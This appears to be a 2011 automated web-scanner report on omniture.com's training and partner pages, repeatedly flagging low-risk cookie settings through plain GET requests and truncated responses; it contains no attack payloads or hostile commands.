HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:43 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:43 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:43 GMT Content-Length: 28706 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:43 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/site_catalyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:46 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:46 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:46 GMT Content-Length: 28706 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:46 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/support HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:45 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:45 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:45 GMT Content-Length: 28545 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:45 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/test_target HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:50 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:50 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:50 GMT Content-Length: 28895 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:50 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:05 GMT Content-Length: 27072 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services | Cours ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/discover HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:12 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:12 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:13 GMT Content-Length: 28121 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:12 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Discover Training Courses | Web ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/dop_analyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:19 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:19 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:19 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:19 GMT; path=/; domain=omniture.com Content-Length: 37572
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Insight Training Courses | Web ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/merchandising HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:07:48 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:07:48 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:07:49 GMT Content-Length: 28432 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:07:48 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Merchandising Training Courses ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/online_marketing_suite HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:07:55 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:07:55 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:07:55 GMT Content-Length: 31327 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:07:55 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Marketing Suite Training ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/sbu HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:11 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:11 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:11 GMT; path=/; domain=omniture.com Content-Length: 48885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>SiteCatalyst Training Course | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/searchcenter HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:07:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:07:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:07:20 GMT Content-Length: 30122 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:07:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>SearchCenter Training Courses ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/sitesearch HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:08:13 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:08:13 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:08:13 GMT Content-Length: 27900 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:08:13 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>SiteSearch Training Courses | W ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/survey HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:08:44 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:08:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:08:45 GMT Content-Length: 27617 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:08:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Survey Training Courses | Web A ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/testandtarget HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:11 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:11 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:11 GMT; path=/; domain=omniture.com Content-Length: 38553
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Test&Target Training Courses | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/partners HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:42 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:42 GMT Content-Length: 21370 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Program Overvi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/partners/apply HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:16:07 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:16:07 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:16:07 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:16:07 GMT; path=/; domain=omniture.com Content-Length: 33367
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Become a Partner | Online Busin ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/partners/portal HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:54 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:54 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:54 GMT Content-Length: 21832 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:54 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Portal Login | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
